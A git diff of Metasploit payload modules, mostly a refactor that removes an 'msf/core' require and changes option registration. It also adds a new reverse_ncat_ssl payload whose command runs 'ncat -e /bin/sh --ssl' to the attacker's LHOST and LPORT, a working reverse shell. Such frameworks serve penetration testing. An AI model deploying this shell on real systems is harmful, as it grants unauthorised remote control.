100644 --- a/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb +++ b/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/bsd/x64/shell_reverse_ipv6_tcp.rb b/modules/payloads/singles/bsd/x64/shell_reverse_ipv6_tcp.rb index 2ec18f61ed..97156208fa 100644 --- a/modules/payloads/singles/bsd/x64/shell_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/bsd/x64/shell_reverse_ipv6_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/bsd/x64/shell_reverse_tcp.rb b/modules/payloads/singles/bsd/x64/shell_reverse_tcp.rb index 48582101a8..ddbc541298 100644 --- a/modules/payloads/singles/bsd/x64/shell_reverse_tcp.rb +++ b/modules/payloads/singles/bsd/x64/shell_reverse_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' module MetasploitModule @@ -37,7 +36,7 @@ module MetasploitModule OptString.new('CMD', [ true, "The command string to execute", "/bin/sh" ]), Opt::LHOST, Opt::LPORT(4444) - ], self.class) + ]) end # build the shellcode payload dynamically based on the user-provided CMD diff --git a/modules/payloads/singles/bsd/x64/shell_reverse_tcp_small.rb b/modules/payloads/singles/bsd/x64/shell_reverse_tcp_small.rb index 20b8341791..c43a06efb7 100644 --- a/modules/payloads/singles/bsd/x64/shell_reverse_tcp_small.rb +++ b/modules/payloads/singles/bsd/x64/shell_reverse_tcp_small.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/bsd/x86/exec.rb b/modules/payloads/singles/bsd/x86/exec.rb index d95199cebd..f27fa02731 100644 --- a/modules/payloads/singles/bsd/x86/exec.rb +++ b/modules/payloads/singles/bsd/x86/exec.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - ### # @@ -39,7 +37,7 @@ module MetasploitModule # Register exec options register_options([ OptString.new('CMD', [ true, "The command string to execute" ]), - ], self.class) + ]) end # diff --git a/modules/payloads/singles/bsd/x86/metsvc_bind_tcp.rb b/modules/payloads/singles/bsd/x86/metsvc_bind_tcp.rb index ee7e1c55e2..2d159ef8a2 100644 --- a/modules/payloads/singles/bsd/x86/metsvc_bind_tcp.rb +++ b/modules/payloads/singles/bsd/x86/metsvc_bind_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/meterpreter_x86_bsd' require 'msf/base/sessions/meterpreter_options' diff --git a/modules/payloads/singles/bsd/x86/metsvc_reverse_tcp.rb b/modules/payloads/singles/bsd/x86/metsvc_reverse_tcp.rb index 73af2e47f9..532348ad8e 100644 --- a/modules/payloads/singles/bsd/x86/metsvc_reverse_tcp.rb +++ b/modules/payloads/singles/bsd/x86/metsvc_reverse_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/meterpreter_x86_bsd' require 'msf/base/sessions/meterpreter_options' diff --git a/modules/payloads/singles/bsd/x86/shell_bind_tcp.rb b/modules/payloads/singles/bsd/x86/shell_bind_tcp.rb index 5e2b8ba269..07ff5b62ec 100644 --- a/modules/payloads/singles/bsd/x86/shell_bind_tcp.rb +++ b/modules/payloads/singles/bsd/x86/shell_bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/bsd/x86/shell_bind_tcp_ipv6.rb b/modules/payloads/singles/bsd/x86/shell_bind_tcp_ipv6.rb index 91287cd4a0..20dd2a6b69 100644 --- a/modules/payloads/singles/bsd/x86/shell_bind_tcp_ipv6.rb +++ b/modules/payloads/singles/bsd/x86/shell_bind_tcp_ipv6.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/bsd/x86/shell_find_port.rb b/modules/payloads/singles/bsd/x86/shell_find_port.rb index 0cb7111680..88bb44bc62 100644 --- a/modules/payloads/singles/bsd/x86/shell_find_port.rb +++ b/modules/payloads/singles/bsd/x86/shell_find_port.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/find_port' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/bsd/x86/shell_find_tag.rb b/modules/payloads/singles/bsd/x86/shell_find_tag.rb index 7cec06f54b..9c4d915956 100644 --- a/modules/payloads/singles/bsd/x86/shell_find_tag.rb +++ b/modules/payloads/singles/bsd/x86/shell_find_tag.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/find_tag' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/bsd/x86/shell_reverse_tcp.rb b/modules/payloads/singles/bsd/x86/shell_reverse_tcp.rb index f7f2c2a538..179d33138e 100644 --- a/modules/payloads/singles/bsd/x86/shell_reverse_tcp.rb +++ b/modules/payloads/singles/bsd/x86/shell_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/bsd/x86/shell_reverse_tcp_ipv6.rb b/modules/payloads/singles/bsd/x86/shell_reverse_tcp_ipv6.rb index 19d50fe386..07c8f7bd61 100644 --- a/modules/payloads/singles/bsd/x86/shell_reverse_tcp_ipv6.rb +++ b/modules/payloads/singles/bsd/x86/shell_reverse_tcp_ipv6.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/bsdi/x86/shell_bind_tcp.rb b/modules/payloads/singles/bsdi/x86/shell_bind_tcp.rb index 40f238704a..95c89b69d6 100644 --- a/modules/payloads/singles/bsdi/x86/shell_bind_tcp.rb +++ b/modules/payloads/singles/bsdi/x86/shell_bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/bsdi/x86/shell_find_port.rb b/modules/payloads/singles/bsdi/x86/shell_find_port.rb index cbe48df2fa..9b75d8590d 100644 --- a/modules/payloads/singles/bsdi/x86/shell_find_port.rb +++ b/modules/payloads/singles/bsdi/x86/shell_find_port.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/find_port' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/bsdi/x86/shell_reverse_tcp.rb b/modules/payloads/singles/bsdi/x86/shell_reverse_tcp.rb index 2fbd74f012..a5ffbf84cb 100644 --- a/modules/payloads/singles/bsdi/x86/shell_reverse_tcp.rb +++ b/modules/payloads/singles/bsdi/x86/shell_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/mainframe/apf_privesc_jcl.rb b/modules/payloads/singles/cmd/mainframe/apf_privesc_jcl.rb index c21d688e04..c85fa8d932 100644 --- a/modules/payloads/singles/cmd/mainframe/apf_privesc_jcl.rb +++ b/modules/payloads/singles/cmd/mainframe/apf_privesc_jcl.rb @@ -13,7 +13,6 @@ # Auto scan for writeable APF authorized library. ## -require 'msf/core' require 'msf/core/handler/find_shell' require 'msf/base/sessions/mainframe_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/mainframe/generic_jcl.rb b/modules/payloads/singles/cmd/mainframe/generic_jcl.rb index a4afec614c..31bc9dbed7 100644 --- a/modules/payloads/singles/cmd/mainframe/generic_jcl.rb +++ b/modules/payloads/singles/cmd/mainframe/generic_jcl.rb @@ -7,7 +7,6 @@ # for more information on IEFBR14 ## -require 'msf/core' require 'msf/core/handler/find_shell' require 'msf/base/sessions/mainframe_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb b/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb index 376bc635cd..f4c6804604 100644 --- a/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb +++ b/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb @@ -8,7 +8,6 @@ # on the system as JCL to JES2 ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/mainframe_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/unix/bind_awk.rb b/modules/payloads/singles/cmd/unix/bind_awk.rb index 5daf081d65..29872d0065 100644 --- a/modules/payloads/singles/cmd/unix/bind_awk.rb +++ b/modules/payloads/singles/cmd/unix/bind_awk.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/unix/bind_inetd.rb b/modules/payloads/singles/cmd/unix/bind_inetd.rb index ccf344d794..57519db327 100644 --- a/modules/payloads/singles/cmd/unix/bind_inetd.rb +++ b/modules/payloads/singles/cmd/unix/bind_inetd.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/unix/bind_lua.rb b/modules/payloads/singles/cmd/unix/bind_lua.rb index 48f3ea4637..3e8a4acfbe 100644 --- a/modules/payloads/singles/cmd/unix/bind_lua.rb +++ b/modules/payloads/singles/cmd/unix/bind_lua.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/unix/bind_netcat.rb b/modules/payloads/singles/cmd/unix/bind_netcat.rb index 4ffe755672..1b9e69f238 100644 --- a/modules/payloads/singles/cmd/unix/bind_netcat.rb +++ b/modules/payloads/singles/cmd/unix/bind_netcat.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/unix/bind_netcat_gaping.rb b/modules/payloads/singles/cmd/unix/bind_netcat_gaping.rb index ec8804a2ab..8b54f4b1d6 100644 --- a/modules/payloads/singles/cmd/unix/bind_netcat_gaping.rb +++ b/modules/payloads/singles/cmd/unix/bind_netcat_gaping.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/unix/bind_netcat_gaping_ipv6.rb b/modules/payloads/singles/cmd/unix/bind_netcat_gaping_ipv6.rb index 68e518e90f..caa771b512 100644 --- a/modules/payloads/singles/cmd/unix/bind_netcat_gaping_ipv6.rb +++ b/modules/payloads/singles/cmd/unix/bind_netcat_gaping_ipv6.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/unix/bind_nodejs.rb b/modules/payloads/singles/cmd/unix/bind_nodejs.rb index b795bdd184..92664ce631 100644 --- a/modules/payloads/singles/cmd/unix/bind_nodejs.rb +++ b/modules/payloads/singles/cmd/unix/bind_nodejs.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/nodejs' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' diff --git a/modules/payloads/singles/cmd/unix/bind_perl.rb b/modules/payloads/singles/cmd/unix/bind_perl.rb index d169b2c3d1..81ccdcbc25 100644 --- a/modules/payloads/singles/cmd/unix/bind_perl.rb +++ b/modules/payloads/singles/cmd/unix/bind_perl.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb b/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb index d8d3e52457..02d502feb7 100644 --- a/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb +++ b/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/unix/bind_ruby.rb b/modules/payloads/singles/cmd/unix/bind_ruby.rb index f445299ee3..726150c433 100644 --- a/modules/payloads/singles/cmd/unix/bind_ruby.rb +++ b/modules/payloads/singles/cmd/unix/bind_ruby.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/unix/bind_ruby_ipv6.rb b/modules/payloads/singles/cmd/unix/bind_ruby_ipv6.rb index 7b012a8e01..5fc995b220 100644 --- a/modules/payloads/singles/cmd/unix/bind_ruby_ipv6.rb +++ b/modules/payloads/singles/cmd/unix/bind_ruby_ipv6.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/unix/bind_zsh.rb b/modules/payloads/singles/cmd/unix/bind_zsh.rb index 49389b7186..bbeb564f78 100644 --- a/modules/payloads/singles/cmd/unix/bind_zsh.rb +++ b/modules/payloads/singles/cmd/unix/bind_zsh.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/unix/generic.rb b/modules/payloads/singles/cmd/unix/generic.rb index 870888f0e4..21c38ea5b2 100644 --- a/modules/payloads/singles/cmd/unix/generic.rb +++ b/modules/payloads/singles/cmd/unix/generic.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/find_shell' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' @@ -37,7 +36,7 @@ module MetasploitModule register_options( [ OptString.new('CMD', [ true, "The command string to execute" ]), - ], self.class) + ]) end # diff --git a/modules/payloads/singles/cmd/unix/interact.rb b/modules/payloads/singles/cmd/unix/interact.rb index 282de3060d..4c382c287c 100644 --- a/modules/payloads/singles/cmd/unix/interact.rb +++ b/modules/payloads/singles/cmd/unix/interact.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/find_shell' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/unix/reverse.rb b/modules/payloads/singles/cmd/unix/reverse.rb index 006f6a497f..4c5a58502b 100644 --- a/modules/payloads/singles/cmd/unix/reverse.rb +++ b/modules/payloads/singles/cmd/unix/reverse.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp_double' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/unix/reverse_awk.rb b/modules/payloads/singles/cmd/unix/reverse_awk.rb index 348126cb55..3fc49d0624 100644 --- a/modules/payloads/singles/cmd/unix/reverse_awk.rb +++ b/modules/payloads/singles/cmd/unix/reverse_awk.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/unix/reverse_bash.rb b/modules/payloads/singles/cmd/unix/reverse_bash.rb index ff8f54d19b..7c778263d7 100644 --- a/modules/payloads/singles/cmd/unix/reverse_bash.rb +++ b/modules/payloads/singles/cmd/unix/reverse_bash.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb index 17ac952d29..0f09d47511 100644 --- a/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp_ssl' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/unix/reverse_lua.rb b/modules/payloads/singles/cmd/unix/reverse_lua.rb index 32b84f8b9d..4417a3c2d2 100644 --- a/modules/payloads/singles/cmd/unix/reverse_lua.rb +++ b/modules/payloads/singles/cmd/unix/reverse_lua.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/unix/reverse_ncat_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_ncat_ssl.rb new file mode 100644 index 0000000000..b927bad64f --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_ncat_ssl.rb @@ -0,0 +1,51 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/handler/reverse_tcp_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module MetasploitModule + + CachedSize = 42 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse TCP (via ncat)', + 'Description' => 'Creates an interactive shell via ncat, utilising ssl mode', + 'Author' => 'C_Sto', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'ncat', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + "ncat -e /bin/sh --ssl #{datastore['LHOST']} #{datastore['LPORT']}" + end + +end diff --git a/modules/payloads/singles/cmd/unix/reverse_netcat.rb b/modules/payloads/singles/cmd/unix/reverse_netcat.rb index f21efada0d..47d5c571c7 100644 --- a/modules/payloads/singles/cmd/unix/reverse_netcat.rb +++ b/modules/payloads/singles/cmd/unix/reverse_netcat.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb b/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb index ed12e38ec8..1ae1c3971a 100644 --- a/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb +++ b/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/unix/reverse_nodejs.rb b/modules/payloads/singles/cmd/unix/reverse_nodejs.rb index bbfba208ca..3640054022 100644 --- a/modules/payloads/singles/cmd/unix/reverse_nodejs.rb +++ b/modules/payloads/singles/cmd/unix/reverse_nodejs.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/nodejs' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' diff --git a/modules/payloads/singles/cmd/unix/reverse_openssl.rb b/modules/payloads/singles/cmd/unix/reverse_openssl.rb index 09e380f172..88c3d42131 100644 --- a/modules/payloads/singles/cmd/unix/reverse_openssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_openssl.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp_double_ssl' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/unix/reverse_perl.rb b/modules/payloads/singles/cmd/unix/reverse_perl.rb index 43b2e09835..0301f5c79c 100644 --- a/modules/payloads/singles/cmd/unix/reverse_perl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_perl.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb index a948e187b5..29250a8464 100644 --- a/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp_ssl' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb index b5ec5558ce..1d30f1183c 100644 --- a/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp_ssl' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/unix/reverse_python.rb b/modules/payloads/singles/cmd/unix/reverse_python.rb index 4712d0f048..ef4f30376c 100644 --- a/modules/payloads/singles/cmd/unix/reverse_python.rb +++ b/modules/payloads/singles/cmd/unix/reverse_python.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' @@ -32,7 +31,7 @@ module MetasploitModule )) register_options([ OptString.new('SHELL', [true, 'The system shell to use.', '/bin/bash']) - ], self.class) + ]) end def generate diff --git a/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb index d5d07c0499..aa3f6da96d 100644 --- a/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp_ssl' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/unix/reverse_ruby.rb b/modules/payloads/singles/cmd/unix/reverse_ruby.rb index 229874d83a..1eed3b94cb 100644 --- a/modules/payloads/singles/cmd/unix/reverse_ruby.rb +++ b/modules/payloads/singles/cmd/unix/reverse_ruby.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb index 5e14ec9289..0256e2de85 100644 --- a/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp_ssl' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb b/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb index 38f2bcc93f..f54bbd240b 100644 --- a/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb +++ b/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp_double_ssl' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/unix/reverse_zsh.rb b/modules/payloads/singles/cmd/unix/reverse_zsh.rb index 2f168a313e..af5d6ad5fa 100644 --- a/modules/payloads/singles/cmd/unix/reverse_zsh.rb +++ b/modules/payloads/singles/cmd/unix/reverse_zsh.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/windows/adduser.rb b/modules/payloads/singles/cmd/windows/adduser.rb index dd34557f1e..a77ae0102c 100644 --- a/modules/payloads/singles/cmd/windows/adduser.rb +++ b/modules/payloads/singles/cmd/windows/adduser.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' @@ -47,12 +46,12 @@ module MetasploitModule OptString.new('PASS', [ true, "The password for this user", "Metasploit$1" ]), OptString.new('CUSTOM', [ false, "Custom group name to be used instead of default", '' ]), OptBool.new('WMIC', [ true, "Use WMIC on the target to resolve administrators group", false ]), - ], self.class) + ]) register_advanced_options( [ OptBool.new("COMPLEXITY", [ true, "Check password for complexity rules", true ]), - ], self.class) + ]) end diff --git a/modules/payloads/singles/cmd/windows/bind_lua.rb b/modules/payloads/singles/cmd/windows/bind_lua.rb index 493a4cb4e4..45a4788605 100644 --- a/modules/payloads/singles/cmd/windows/bind_lua.rb +++ b/modules/payloads/singles/cmd/windows/bind_lua.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/windows/bind_perl.rb b/modules/payloads/singles/cmd/windows/bind_perl.rb index 0525da8574..f14e545d6a 100644 --- a/modules/payloads/singles/cmd/windows/bind_perl.rb +++ b/modules/payloads/singles/cmd/windows/bind_perl.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb b/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb index 6b6f946c45..c6c32a7ffa 100644 --- a/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb +++ b/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/windows/bind_ruby.rb 